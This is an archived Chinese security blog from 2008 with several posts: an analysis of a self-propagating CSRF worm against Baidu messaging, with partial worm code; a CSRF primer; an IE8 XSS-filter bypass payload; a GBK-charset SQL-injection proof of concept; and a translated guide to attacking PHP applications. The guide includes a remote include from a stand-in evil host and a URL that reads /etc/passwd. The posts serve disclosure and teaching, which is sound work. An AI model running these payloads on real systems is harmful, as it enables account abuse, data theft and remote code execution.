_mK's Blog

百度Hi Csrf蠕虫攻击

X4ng's Blog — Tue, 23 Sep 2008 10:37:53 +0800

漏洞起因：百度是国内最大的中文搜索引擎。同时百度也提供了百度空间、百度贴吧等 BLOG社区服务，拥有海量的用户群，号称全球最大中文社区。80sec发现过百度产品一系列的安全漏洞，其中一些问题得到了有效的修补，但是百度的产品仍然存在很多严重的安全漏洞，利用这些漏洞黑客可以制作Web蠕虫，影响百度所有的用户。

CSRF worm技术分析：

一. 百度用户中心短消息功能存在CSRF漏洞

百度用户中心短消息功能和百度空间、百度贴吧等产品相互关联，用户可以给指定百度ID用户发送短消息，在百度空间用互为好友的情况下，发送短消息将没有任何限制，同时由于百度程序员在实现短消息功能时使用了$_REQUEST类变量传参，给黑客利用CSRF漏洞进行攻击提供了很大的方便。百度用户中心短消息功能的请求参数能够被完全预测，只需要指定sn参数为发送消息的用户，co参数为消息内容，就可以成功发送短消息，如下：

http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=用户账号&co=消息内容

该漏洞在07年被应用于80SEC测试的百度XSS WORM中，至今尚未修补。

二. 百度空间好友json数据泄露问题

百度空间的好友功能数据是使用json格式实现的，此接口没有做任何的安全限制，只需将un参数设定为任意用户账号，就可以获得指定用户的百度好友数据，如下

http://frd.baidu.com/?ct=28&un=用户账号&cm=FriList&tn=bmABCFriList&callback=gotfriends

该漏洞可以直接被Javascript劫持技术利用，获取用户的好友信息.

三. 百度认证问题

web攻击不可避免地依赖于系统的认证，而在百度的认证系统里，所有认证基于SESSION，这样在IE里就不会被IE的隐私策略阻止，会话认证信息每次都会被发送出去，为我们蠕虫的传播提供了必要的条件。

四. CSRF + JavaScript_Hijacking + Session Auth= CSRF worm

CSRF 攻击结合Javascript劫持技术完全可以实现CSRF worm，百度产品的这两个安全问题为实现Web蠕虫提供了所有的条件，80Sec团队已经编写出一只完整的百度csrf蠕虫，这是一只完全由客户端脚本实现的CSRF蠕虫，这只蠕虫实际上只有一条链接，受害者点击这条链接后，将会自动把这条链接通过短消息功能传给受害者所有的好友，因为百度用户基数很大，所以蠕虫的传播速度将会呈几何级成长，下面对csrf蠕虫部分代码进行分析：

1. 模拟服务端取得request的参数

var lsURL=window.location.href;
loU = lsURL.split(”?”);
if (loU.length>1)
{
var loallPm = loU[1].split(”&”);

省略…………….

定义蠕虫页面服务器地址，取得?和&符号后的字符串，从URL中提取得感染蠕虫的用户名和感染蠕虫者的好友用户名。

2. 好友json数据的动态获取

var gotfriends = function (x)
{
for(i=0;i<x[2].length;i++)
{
friends.push(x[2][i][1]);
}
}
loadjson(’<script src=”http://frd.baidu.com/?ct=28&un=’+lusername+’&cm=FriList&tn=bmABCFriList&callback=gotfriends&.tmp=&1=2″><\/script>’);

通过CSRF漏洞从远程加载受害者的好友json数据，根据该接口的json数据格式，提取好友数据为蠕虫的传播流程做准备。

3. 感染信息输出和消息发送的核心部分

evilurl=url+”/wish.php?from=”+lusername+”&to=”;
sendmsg=”http://msg.baidu.com/?ct=22&cm=MailSend&tn=bmSubmit&sn=[user]&co=[evilmsg]”
for(i=0;i<friends.length;i++){
省略…………….
mysendmsg=mysendmsg+”&”+i;
eval(’x'+i+’=new Image();x’+i+’.src=unescape(”‘+mysendmsg+’”);’);
省略…………….

整个蠕虫最核心的部分，按照蠕虫感染的逻辑，将感染者用户名和需要传播的好友用户名放到蠕虫链接内，最后输出短消息内容，使用一个FOR循环结构历遍所有好友数据，通过图片文件请求向所有的好友发送感染链接信息。

4. 注意细节

由于需要动态加载json数据运行，所以必须注意各个函数执行的先后顺序，否则json数据还未加载完毕，蠕虫核心部分的流程将跑不起来。

5. CSRF Worm DEMO页

这里我们提供了一个百度CSRF Worm DEMO页仅供大家进行安全测试，非安全测试的其他行为，80SEC将不负任何责任。测试方法：

将to参数设置为自己的用户名，登陆百度后点击链接或直接进入页面

http://www.80sec.com/wish.php?to=自己的百度用户名

五 CSRF worm安全提醒:

除开百度，国内的社区类、Web2.0类网站如校内网、Myspace、饭否等都存在这类安全问题，黑客可以直接通过CSRF攻击配合各种功能应用针对网站进行CSRF worm攻击，网站可以参考http://www.80sec.com/csrf-securit.html文档中的安全提醒做进一步的防范。
本站内容均为原创，转载请务必保留署名与链接！
百度Hi Csrf蠕虫攻击:http://www.80sec.com/baidu-hi-scrf-worm-attac.html

CSRF攻击原理解析

X4ng's Blog — Tue, 23 Sep 2008 10:37:14 +0800

|=——————————————————————=|
|=————–=[ CSRF攻击原理解析 ]=——————=|
|=——————————————————————=|
|=——————-=[ By rayh4c ]=————————=|
|=————-=[ rayh4c@80sec.com ]=——————-=|
|=——————————————————————=|

Author: rayh4c [80sec]
EMail: rayh4c#80sec.com
Site: http://www.80sec.com
Date: 2008-9-21

0×00. 前言

在Web程序中普通用户一般只在Web界面里完成他想要的操作，Web程序接受的正常客户端请求一般来自用户的点击链接和表单提交等行为，可是恶意攻击者却可以依靠脚本和浏览器的安全缺陷来劫持客户端会话、伪造客户端请求。

0×01. CSRF攻击分类

CSRF 是伪造客户端请求的一种攻击，CSRF的英文全称是Cross Site Request Forgery，字面上的意思是跨站点伪造请求。这种攻击方式是国外的安全人员于2000年提出，国内直到06年初才被关注，早期我们团队的剑心使用过 CSRF攻击实现了DVBBS后台的SQL注射，同时网上也出现过动易后台管理员添加的CSRF漏洞等，08年CSRF攻击方式开始在BLOG、SNS等大型社区类网站的脚本蠕虫中使用。

CSRF的定义是强迫受害者的浏览器向一个易受攻击的Web应用程序发送请求,最后达到攻击者所需要的操作行为。CSRF漏洞的攻击一般分为站内和站外两种类型：

CSRF 站内类型的漏洞在一定程度上是由于程序员滥用$_REQUEST类变量造成的，一些敏感的操作本来是要求用户从表单提交发起POST请求传参给程序，但是由于使用了$_REQUEST等变量，程序也接收GET请求传参，这样就给攻击者使用CSRF攻击创造了条件，一般攻击者只要把预测好的请求参数放在站内一个贴子或者留言的图片链接里，受害者浏览了这样的页面就会被强迫发起请求。

CSRF站外类型的漏洞其实就是传统意义上的外部提交数据问题，一般程序员会考虑给一些留言评论等的表单加上水印以防止SPAM问题，但是为了用户的体验性，一些操作可能没有做任何限制，所以攻击者可以先预测好请求的参数，在站外的Web页面里编写javascript脚本伪造文件请求或和自动提交的表单来实现GET、POST请求，用户在会话状态下点击链接访问站外的Web页面，客户端就被强迫发起请求。

0×02. 浏览器的安全缺陷

现在的Web应用程序几乎都是使用 Cookie来识别用户身份以及保存会话状态，但是所有的浏览器在最初加入Cookie功能时并没有考虑安全因素，从 WEB页面产生的文件请求都会带上COOKIE，如下图所示，Web页面中的一个正常的图片所产生的请求也会带上COOKIE：

<img src=”http://website/logo.jpg”>

↓

GET http://website.com/log.jpg
Cookie: session_id
客户端 ——————————————————-服务器

浏览器的这种安全缺陷给CSRF漏洞的攻击创造了最基本的条件，因为Web页面中的任意文件请求都会带上COOKIE，所以我们将文件地址替换为一个链接的话，用户访问Web页面就相当于会话状态下自动点击了链接，而且带有SRC属性具有文件请求的HTML标签，如图片、FLASH、音乐等相关的应用都会产生伪造GET请求的CSRF安全问题。一个web应用程序可能会因为最基本的渲染页面的HTML标签应用，而导致程序里所有的GET类型传参都不可靠。

0×03. 浏览器的会话安全特性

参照Set-Cookie的标准格式，现今浏览器支持的cookie实际上分为两种形式：

Set-Cookie: <name>=<value>[; <name>=<value>] [; expires=<date>][; domain=<domain_name>] [; path=<some_path>][; secure][; HttpOnly]

一种是内存COOKIE，在没有设定 COOKIE值的expires参数，也就是没有设置COOKIE的失效时间情况下，这个COOKIE在关闭浏览器后将失效，并且不会保存在本地。另外一种是本地保存COOKIE，也就是设置了expires参数，COOKIE的值指定了失效时间，那么这个COOKIE 会保存在本地，关闭浏览器后再访问网站，在COOKIE有效时间内所有的请求都会带上这个本地保存COOKIE。

Internet Explorer有一个隐私报告功能，其实这是一个安全功能，它会阻挡所有的第三方COOKIE，比如A域Web页面嵌入了B域的文件，客户端浏览器访问了A域的Web页面后对B域所发起的文件请求所带上的COOKIE会被IE拦截。除开文件请求情况，A域的Web页面如果使用IFRAME帧包含B域的 Web页面，访问A域的Web页面后，B域的Web页面里的所有请求包括文件请求带上的COOKIE同样会被IE拦截。不过Internet Explorer的这个安全功能有两个特性，一是不会拦截内存COOKIE，二是在网站设置了P3P头的情况下，会允许跨域访问COOKIE，隐私报告功能就不会起作用了。

所以在Internet Explorer的这个安全特性的前提下，攻击者要进行站外的CSRF攻击使用文件请求来伪造GET请求的话，受害者必须在使用内存COOKIE也就是没有保存登陆的会话状态下才可能成功。而Firefox浏览器并没有考虑使用这样的功能，站外的CSRF攻击完全没有限制。

0×04. 关于Javascript劫持技术

近年来的web程序频繁使用Ajax技术，JSON也开始取代XML做为AJAX的数据传输格式，JSON实际上就是一段javascript，大部分都是定义的数组格式。fortify公司的三位安全人员在2007年提出了Javascript劫持技术，这是一种针对JSON动态数据的攻击方式，实际上这也是一种变相的CSRF攻击。攻击者从站外调用一个script标签包含站内的一个JSON动态数据接口，因为<script src=”>这种脚本标签的文件请求会带上COOKIE，用户访问后相当于被迫从站外发起了一个带有身份认证COOKIE的GET请求，web程序马上返回了用户相关的JSON数据，攻击者就可以取得这些关键的JSON数据加以利用，整个过程相当于一个站外类型的CSRF攻击。

WEB 应用中的JSON数据大部分使用在个人资料、好友列表等隐私功能里，这类数据一般是web蠕虫最重要的传播功能所需要的数据，而CSRF攻击结合 Javascript劫持技术完全可以分析这类数据制作自动传播的web蠕虫，在一定情况下这种web蠕虫比网站出现跨站脚本漏洞制作的web蠕虫更具威胁性，几乎不受网站架构的限制，因为攻击者利用的不是传统的Web漏洞而是网站自身正常的功能，如果出现这类CSRF蠕虫，对网站的打击将是灾难性的。

0×05. 安全提醒

各个大型社区类网站必须警惕CSRF攻击和相关web蠕虫的爆发,并且针对这类web攻击制定有效的应急措施。同建议程序员不要滥用$_REQUEST类变量，在必要的情况下给某些敏感的操作加上水印，考虑使用类似DISCUZ论坛的formhash技术提高黑客预测请求参数的难度，注意JSON数据接口的安全问题等。最后希望大家全面的考虑客户端和服务端整体的安全，注意Internet Explorer等客户端浏览器一些安全缺陷和安全特性，防止客户端程序的安全问题影响整个Web应用程序。

参考：

http://blog.csdn.net/lake2/archive/2008/04/02/2245754.aspx
http://www.cgisecurity.com/articles/csrf-faq.shtml
http://www.playhack.net/view.php?id=31
http://www.fortify.com/servlet/downloads/user/JavaScript_Hijacking.pdf
http://www.w3.org/P3P/
本站内容均为原创，转载请务必保留署名与链接！
CSRF攻击原理解析:http://www.80sec.com/csrf-securit.html

IE8 XSS Filter Bypass

X4ng's Blog — Fri, 05 Sep 2008 10:39:10 +0800

转自：80Sec
漏洞说明：IE8是微软新推出的一款浏览器，其对CSS2.1的完整支持，HTML5的支持，内置开发工具等等。IE8在浏览器安全性上有非常大的改进，内置了一款无法卸载的Xss Filter，对非持久型跨站脚本攻击做了比较好的防护。但是80sec在测试IE8时发现，IE8的Xss Filter存在漏洞，导致在一些东方国家的版本里根本不能阻止URL Xss，譬如在中文版本里，利用一些简单的数据就可以Bypass掉IE8的Filter策略。
漏洞站点：http://www.microsoft.com/

漏洞分析：由于IE8 Xss Filter在过滤时采取的编码是系统内置编码，在中文版本里将是gb2312，在其他一些东方国家里也会采用相应的宽字节编码。提交一个非法的编码序列如%c1<将被IE8作为一个正常的东方字符来进行Filter的关键字匹配，而在页面显示时，由于页面自己会指定一个编码譬如UTF-8等，在解析的时候%c1<并不是一个有效的UTF8编码，这样就会被当作两个字符，从而导致了<绕过检查，这种不一致性导致了漏洞的产生。
漏洞证明：假设存在如下web脚本：
`<?php header("Content-Type: text/html; charset=utf-8"); echo $_GET[c]; ?>`
在东方国家系统的IE8里，如果常规的进行XSS如：
`.php?c=<script>alert()</script>`
将被IE8安全策略阻止，但是如果提交
`.php?c=%c1<script>alert()</script>`
代码可以绕过ie8的xss filter并且执行。
漏洞状态：通知了厂商，等待回应。
本站内容均为原创，转载请务必保留署名与链接！
IE8 XSS Filter Bypass:http://www.80sec.com/ie8-xssfilter-bypass.html

PHP字符编码绕过漏洞总结

X4ng's Blog — Thu, 28 Aug 2008 14:55:32 +0800

PS:之前转过来的文章删除了，很多人问为什么，其实没有为什么，也懒得一一解答了，再转过来，存档之。

其实这东西国内少数黑客早已知道，只不过没有共享公布而已。有些人是不愿共享，宁愿烂在地里，另外的一些则是用来牟利。
该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换后

变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞就触

发了。

mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相

应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。

方法一：

改变mysql配置文件my.cnf

CODE:
[client]
default-character-set=GBK
方法二：
在建立连接时使用
CODE:
SET CHARACTER SET 'GBK'
例：mysql_query("SET CHARACTER SET 'gbk'", $c);
问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞
下面是来自http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
$_POST['username'] = chr(0xbf) . chr(0x27) . ' OR username = username /*';
$_POST['password'] = 'anything';

// Proper escaping, we should be safe, right?
$user = mysql_real_escape_string($_POST['username'], $c);
$passwd = mysql_real_escape_string($_POST['password'], $c);

$sql = "SELECT * FROM users WHERE username = '{$user}' AND password = '{$passwd}'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知
道字符集的情况下用默认字符集处理产生漏洞的。
下面再来分析下国内最近漏洞产生的原因。
问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。
发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过
addslashes() 加上的"\"失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。
根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试
$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
$id3=iconv('gbk', 'utf-8', $_GET['id']);
这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：
<?php

$c = mysql_connect("localhost", "user", "pass");
mysql_select_db("database", $c);

// change our character set
mysql_query("SET CHARACTER SET 'gbk'", $c);

// create demo table
mysql_query("CREATE TABLE users (
username VARCHAR(32) PRIMARY KEY,
password VARCHAR(32)
) CHARACTER SET 'GBK'", $c);
mysql_query("INSERT INTO users VALUES('foo','bar'), ('baz','test')", $c);

// now the exploit code
//$id1=mb_convert_encoding($_GET['id'], 'utf-8', 'gbk');
$id2=iconv('gbk//IGNORE', 'utf-8', $_GET['id']);
//$id3=iconv('gbk', 'utf-8', $_GET['id']);

$sql = "SELECT * FROM users WHERE username = '{$id2}' AND password = 'password'";
$res = mysql_query($sql, $c);
echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records

?>
测试情况 http://www.safe3.cn/test.php?id=%bf%27 OR username = username /*

后记，这里不光是%bf，其它许多字符也可以造成同样漏洞，大家可以自己做个测试的查下，这里有zwell文章提到的一个分析
http://hackme.ntobjectives.com/sql_inject/login_addslashes.php 。编码的问题在xss中也有利用价值，详情请看我
早期转载的一篇文章Bypassing script filters with variable-width encodings 。

from:http://www.cnblogs.com/Safe3/archive/2008/08/22/1274095.html

如何对PHP程序中的常见漏洞进行攻击

X4ng's Blog — Fri, 08 Aug 2008 10:10:53 +0800

之所以翻译这篇文章，是因为目前关于CGI安全性的文章都是拿Perl作为例子，而专门介绍ASP，PHP或者JSP安全性的文章则很少。 Shaun Clowes的这篇文章比较全面地介绍了PHP的安全问题，原文可以在http: //www.securereality.com.au /studyinscarlet.txt找到。
由于原文比较长，而且有相当一部分是介绍文章的背景或PHP的基础知识，没有涉及到PHP安全方面的内容，因此我没有翻译。如果你想了解这方面的知识，请参考原文。
文章主要从全局变量，远程文件，文件上载，库文件，Session文件，数据类型和容易出错的函数这几个方面分析了PHP的安全性，并且对如何增强PHP的安全性提出了一些有用的建议。
好了，废话少说，我们言归正传！

[全局变量]

PHP 中的变量不需要事先声明，它们会在第一次使用时自动创建，它们的类型也不需要指定，它们会根据上下文环境自动确定。从程序员的角度来看，这无疑是一种极其方便的处理方法。很显然，这也是快速开发语言的一个很有用的特点。一旦一个变量被创建了，就可以在程序中的任何地方使用。这个特点导致的结果就是程序员很少初始化变量，毕竟，当它们第一次创建时，他们是空的。
很显然，基于PHP的应用程序的主函数一般都是接受用户的输入（主要是表单变量，上载文件和Cookie等），然后对输入数据进行处理，然后把结果返回到客户端浏览器。为了使PHP代码访问用户的输入尽可能容易，实际上PHP是把这些输入数据看作全局变量来处理的。
例如：
<FORM METHOD="GET" ACTION="test.php">
<INPUT TYPE="TEXT" NAME="hello">
<INPUT TYPE="SUBMIT">
</FORM>
很显然，这会显示一个文本框和提交按钮。当用户点击提交按钮时，“test.php”会处理用户的输入，当“test.php”运行时，“$hello” 会包含用户在文本框输入的数据。从这里我们应该看出，攻击者可以按照自己的意愿创建任意的全局变量。如果攻击者不是通过表单输入来调用 “test.php”，而是直接在浏览器地址栏输入http://server/test.php?hello=hi&setup=no，那么，不止是“$hello”被创建，“$setup”也被创建了。
译者注：这两种方法也就是我们通常说的“POST”和“GET”方法。
下面的用户认证代码暴露了PHP的全局变量所导致的安全问题：
<?php
if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>
上面的代码首先检查用户的密码是否为“hello”，如果匹配的话，设置“$auth”为“1”，即通过认证。之后如果“$suth”为“1”的话，就会显示一些重要信息。
表面看起来是正确的，而且我们中有相当一部分人是这样做的，但是这段代码犯了想当然的错误，它假定“$auth”在没有设置值的时候是空的，却没有想到攻击者可以创建任何全局变量并赋值，通过类似“http://server/test.php?auth=1”的方法，我们完全可以欺骗这段代码，使它相信我们是已经认证过的。
因此，为了提高PHP程序的安全性，我们不能相信任何没有明确定义的变量。如果程序中的变量很多的话，这可是一项非常艰巨的任务。
一种常用的保护方式就是检查数组HTTP_GET[]或POST_VARS[]中的变量，这依赖于我们的提交方式（GET或POST）。当PHP配置为打开“track_vars”选项的话（这是缺省值），用户提交的变量就可以在全局变量和上面提到的数组中获得。
但是值得说明的是，PHP有四个不同的数组变量用来处理用户的输入。HTTP_GET_VARS数组用来处理GET方式提交的变量， HTTP_POST_VARS数组用于处理POST方式提交的变量，HTTP_COOKIE_VARS数组用于处理作为cookie头提交的变量，而对于 HTTP_POST_FILES数组（比较新的PHP才提供），则完全是用户用来提交变量的一种可选方式。用户的一个请求可以很容易的把变量存在这四个数组中，因此一个安全的PHP程序应该检查这四个数组。

[远程文件]

PHP是一种具有丰富特性的语言，提供了大量的函数，使编程者实现某个功能很容易。但是从安全的角度来看，功能越多，要保证它的安全性就越难，远程文件就是说明这个问题的一个很好的例子：
<?php
if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename<BR> ");
?>
上面的脚本试图打开文件“$filename”，如果失败就显示错误信息。很明显，如果我们能够指定“$filename”的话，就能利用这个脚本浏览系统中的任何文件。但是，这个脚本还存在一个不太明显的特性，那就是它可以从任何其它WEB或FTP站点读取文件。实际上，PHP的大多数文件处理函数对远程文件的处理是透明的。
例如：
如果指定“$filename”为“http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir”
则上面的代码实际上是利用主机target上的unicode漏洞，执行了dir命令。
这使得支持远程文件的include()，require()，include_once()和require_once()在上下文环境中变得更有趣。这些函数主要功能是包含指定文件的内容，并且把它们按照PHP代码解释，主要是用在库文件上。
例如：
<?php
include($libdir . "/languages.php");
?>
上例中“$libdir”一般是一个在执行代码前已经设置好的路径，如果攻击者能够使得“$libdir”没有被设置的话，那么他就可以改变这个路径。但是攻击者并不能做任何事情，因为他们只能在他们指定的路径中访问文件languages.php（perl中的“Poison null byte”攻击对PHP没有作用）。但是由于有了对远程文件的支持，攻击者就可以做任何事情。例如，攻击者可以在某台服务器上放一个文件 languages.php，包含如下内容：
<?php
passthru("/bin/ls /etc");
?>
然后把“$libdir”设置为“http://<evilhost>/”，这样我们就可以在目标主机上执行上面的攻击代码，“/etc”目录的内容作为结果返回到客户的浏览器中。
需要注意的是，攻击服务器（也就是evilhost）应该不能执行PHP代码，否则攻击代码会在攻击服务器，而不是目标服务器执行，如果你想了解具体的技术细节，请参考：http://www.securereality.com.au/sradv00006.txt

[文件上载]

PHP自动支持基于RFC 1867的文件上载，我们看下面的例子：
<FORM METHOD="POST" ENCTYPE="multipart/form-data">
<INPUT TYPE="FILE" NAME="hello">
<INPUT TYPE="HIDDEN" NAME="MAX_FILE_SIZE" VALUE="10240">
<INPUT TYPE="SUBMIT">
</FORM>
上面的代码让用户从本地机器选择一个文件，当点击提交后，文件就会被上载到服务器。这显然是很有用的功能，但是PHP的响应方式使这项功能变的不安全。当 PHP第一次接到这种请求，甚至在它开始解析被调用的PHP代码之前，它会先接受远程用户的文件，检查文件的长度是否超过 “$MAX_FILE_SIZE variable”定义的值，如果通过这些测试的话，文件就会被存在本地的一个临时目录中。
因此，攻击者可以发送任意文件给运行PHP的主机，在PHP程序还没有决定是否接受文件上载时，文件已经被存在服务器上了。
这里我就不讨论利用文件上载来对服务器进行DOS攻击的可能性了。
让我们考虑一下处理文件上载的PHP程序，正如我们上面说的，文件被接收并且存在服务器上（位置是在配置文件中指定的，一般是/tmp），扩展名一般是随机的，类似“phpxXuoXG”的形式。PHP程序需要上载文件的信息以便处理它，这可以通过两种方式，一种方式是在PHP 3中已经使用的，另一种是在我们对以前的方法提出安全公告后引入的。
但是，我们可以肯定的说，问题还是存在的，大多数PHP程序还是使用老的方式来处理上载文件。PHP设置了四个全局变量来描述上载文件，比如说上面的例子：
$hello = Filename on local machine (e.g "/tmp/phpxXuoXG")
$hello_size = Size in bytes of file (e.g 1024)
$hello_name = The original name of the file on the remote system (e.g "c: emphello.txt")
$hello_type = Mime type of uploaded file (e.g "text/plain")
然后PHP程序开始处理根据“$hello”指定的文件，问题在于“$hello”不一定是一个PHP设置的变量，任何远程用户都可以指定它。如果我们使用下面的方式：
http://vulnhost/vuln.php?hello=/etc/passwd&hello_size=10240&hello_type=text/plain&hello_name=hello.txt
就导致了下面的PHP全局变量（当然POST方式也可以（甚至是Cookie））：
$hello = "/etc/passwd"
$hello_size = 10240
$hello_type = "text/plain"
$hello_name = "hello.txt"
上面的表单数据正好满足了PHP程序所期望的变量，但是这时PHP程序不再处理上载的文件，而是处理“/etc/passwd”（通常会导致内容暴露）。这种攻击可以用于暴露任何敏感文件的内容。
我在前面已经说了，新版本的PHP使用HTTP_POST_FILES[]来决定上载文件，同时也提供了很多函数来解决这个问题，例如有一个函数用来判断某个文件是不是实际上载的文件。这些函数很好的解决了这个问题，但是实际上肯定有很多PHP程序仍然使用旧的方法，很容易受到这种攻击。
作为文件上载的攻击方法的一个变种，我们看一下下面的一段代码：
<?php
if (file_exists($theme)) // Checks the file exists on the local system (no remote files)
include("$theme");
?>
如果攻击者可以控制“$theme”的话，很显然它可以利用“$theme”来读取远程系统上的任何文件。攻击者的最终目标是在远程服务器上执行任意指令，但是他无法使用远程文件，因此，他必须得在远程服务器上创建一个PHP文件。这乍看起来好象是不可能的，但是文件上载帮了我们这个忙，如果攻击者先在本地机器上创建一个包含PHP代码的文件，然后创建一个包含名为“theme”的文件域的表单，最后用这个表单通过文件上载把创建的包含PHP代码的文件提交给上面的代码，PHP就会把攻击者提交的文件保存起来，并把“$theme”的值设置为攻击者提交的文件，这样file_exists()函数会检查通过，攻击者的代码也将执行。
获得执行任意指令的能力之后，攻击者显然想提升权限或者是扩大战果，而这又需要一些服务器上没有的工具集，而文件上载又一次帮了我们这个忙。攻击者可以使用文件上载功能上载工具，把她们存在服务器上，然后利用他们执行指令的能力，使用chmod()改变文件的权限，然后执行。例如：攻击者可以绕过防火墙或IDS上载一个本地root攻击程序，然后执行，这样就获得了root权限。

[库文件]

正如我们前面讨论的那样，include()和require()主要是为了支持代码库，因为我们一般是把一些经常使用的函数放到一个独立的文件中，这个独立的文件就是代码库，当需要使用其中的函数时，我们只要把这个代码库包含到当前的文件中就可以了。
最初，人们开发和发布PHP程序的时候，为了区别代码库和主程序代码，一般是为代码库文件设置一个“.inc”的扩展名，但是他们很快发现这是一个错误，因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时，我们就会得到该文件的源代码，这是因为当把PHP作为 Apache的模块使用时，PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的，一般是 “.php”， “.php3”和“.php4”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中，那么远程攻击者很容易得到这些信息。
最简单的解决方法就是给每个文件都指定一个PHP文件的扩展名，这样可以很好的防止泄露源代码的问题，但是又产生了新的问题，通过请求这个文件，攻击者可能使本该在上下文环境中运行的代码独立运行，这可能导致前面讨论的全部攻击。
下面是一个很明显的例子：
In main.php:
<?php
$libDir = "/libdir";
$langDir = "$libdir/languages";
...
include("$libdir/loadlanguage.php":
?>
In libdir/loadlanguage.php:
<?php
...
include("$langDir/$userLang");
?>
当 “libdir/loadlanguage.php” 被“main.php”调用时是相当安全的，但是因为“libdir/loadlanguage” 具有“.php”的扩展名，因此远程攻击者可以直接请求这个文件，并且可以任意指定“$langDir”和“$userLang”的值。

[Session文件]

PHP 4 或更新的版本提供了对sessions的支持，它的主要作用是在PHP程序中保存页与页之间的状态信息。例如，当一个用户登陆进入网站，他登陆了这个事实以及谁登陆进入这个网站都被保存在session中，当他在网站中到处浏览时，所有的PHP代码都可以获得这些状态信息。
事实上，当一个session启动时（实际上是在配置文件中设置为在第一次请求时自动启动），就会生成一个随机的“session id”，如果远程浏览器总是在发送请求时提交这个“session id”的话，session就会一直保持。这通过Cookie很容易实现，也可以通过在每页提交一个表单变量（包含“session id”）来实现。PHP程序可以用session注册一个特殊的变量，它的值会在每个PHP脚本结束后存在session文件中，也会在每个PHP脚本开始前加载到变量中。下面是一个简单的例子：
<?php
session_destroy(); // Kill any data currently in the session
$session_auth = "shaun";
session_register("session_auth"); // Register $session_auth as a session variable
?>
新版本的PHP都会自动把“$session_auth”的值设置为“shaun”，如果它们被修改的话，以后的脚本都会自动接受修改后的值，这对无状态的Web来说的确是种很不错的工具，但是我们也应该小心。
一个很明显的问题就是确保变量的确来自session，例如，给定上面的代码，如果后续的脚本是下面这样的话：
<?php
if (!empty($session_auth))
// Grant access to site here
?>
上面的代码假定如果“$session_auth”被置位的话，就是从session，而不是从用户输入来置位的，如果攻击者通过表单输入来置位的话，他就可以获得对站点的访问权。注意攻击者必须在session注册该变量之前使用这种攻击方法，一旦变量被放进了session，就会覆盖任何表单输入。
Session 数据一般是保存在文件中（位置是可配置的，一般是“/tmp”），文件名一般是类似 “sess_<session id>”的形式，这个文件包含变量名称，变量类型，变量值和一些其它的数据。在多主机系统中，因为文件是以运行Web服务器的用户身份（一般是 nobody）保存的，因此恶意的站点拥有者就可以通过创建一个session文件来获得对其它站点的访问，甚至可以检查session文件中的敏感信息。
Session机制也为攻击者把自己的输入保存在远程系统的文件中提供了另一个方便的地方，对于上面的例子来说，攻击者需要在远程系统放置一个包含PHP代码的文件，如果不能利用文件上载做到的话，他通常会利用session为一个变量按照自己的意愿赋一个值，然后猜测 session文件的位置，而他知道文件名是“php<session id>”，所以只需猜测目录，而目录一般就是 “/tmp”。
另外，攻击者可以任意指定“session id”（例如“hello”），然后用这个“session id”创建一个session文件（例如“/tmp/sess_hello”），但是“session id”只能是字母和数字组合。

[数据类型]

PHP 具有比较松散的数据类型，变量的类型依赖于它们所处的上下文环境。例如：“$hello”开始是字符串变量，值为“”，但是在求值时，就变成了整形变量 “0”，这有时可能会导致一些意想不到的结果。如果“$hello”的值为“000”还是为“0”是不同的，empty()返回的结果也不会为真。
PHP中的数组是关联数组，也就是说，数组的索引是字符串型的。这意味着“$hello["000"]”和“$hello[0]”也是不同的。
开发程序的时候应该仔细地考虑上面的问题，例如，我们不应该在一个地方测试某个变量是否为“0”，而在另外的地方使用empty()来验证。

[容易出错的函数]

我们在分析PHP程序中的漏洞时，如果能够拿到源代码的话，那么一份容易出错的函数列表则是我们非常需要的。如果我们能够远程改变这些函数的参数的话，那么我们就很可能发现其中的漏洞。下面是一份比较详细的容易出错的函数列表：

<PHP代码执行>

require()：读取指定文件的内容并且作为PHP代码解释
include()：同上
eval()：把给定的字符串作为PHP代码执行
preg_replace()：当与“/e”开关一起使用时，替换字符串将被解释为PHP代码

<命令执行>

exec()：执行指定的命令，返回执行结果的最后一行
passthru()：执行指定命令，返回所有结果到客户浏览器
``：执行指定命令，返回所有结果到一个数组
system()：同passthru()，但是不处理二进制数据
popen()：执行指定的命令，把输入或输出连接到PHP文件描述符

<文件泄露>

fopen()：打开文件，并对应一个PHP文件描述符
readfile()：读取文件的内容，然后输出到客户浏览器
file()：把整个文件内容读到一个数组中
译者注：其实这份列表还不是很全，比如“mail()”等命令也可能执行命令，所以需要自己补充一下。

[如何增强PHP的安全性]

